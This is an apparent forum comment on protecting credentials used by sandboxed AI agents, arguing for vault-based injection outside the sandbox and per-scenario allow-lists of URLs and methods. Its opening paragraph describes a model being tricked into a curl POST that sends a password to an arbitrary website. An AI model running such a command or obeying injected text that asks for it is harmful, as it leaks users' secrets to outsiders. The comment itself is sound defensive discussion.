That’s not really true. The “exposing your credentials to the model” threat is in the model getting tricked into `curl -XPOST https://random.website -d ‘your_password’`. If the credentials are never available inside the sandbox and is only injected outside the sandbox then that’s an entire attack vector that is eliminated.

Further limiting the actual domains, URLs, and/or Methods a model can call on a given endpoint is also possible. It does get more complicated, but it is possible. It has the benefit of having these agents work with the actual services and tools everyone is using right now. Expecting every service to implement federated IAM permissions through an IdP like google or okta before a model can begin to use it is a losing battle. It’s like asking if the whole internet can change to fit a fine-grain access permissions.

Any system offering actual fine-grain access permissions (AWS IAM, Azure Entra, Google OAuth, even GitHub fine-grain tokens) is a pain in the ass to manage. You are then left with the “Connectors” companies that offer a proxy between you and the actual service you want to call with their own APIs and permission structure. Now you don’t call eBay APIs directly, you call a “Connector” that exposes a set of eBay functionality for you.

The scope of startup would be basically the “internet”. Just make sure you support the internet with a federated identity layer on top. It’s not impossible, and I’m pretty sure that’s Cloudflares current mission statement, but it’s hardly a simple task. If you want a fast go-to-market approach, you do the secret vault approach and piecemeal an http policy per scenario. They you can run the scenario in a “learning” mode, then come up with the list of allowed urls/domains/methods and deliver the thing. As opposed to (quite literally) re-writing the “internet”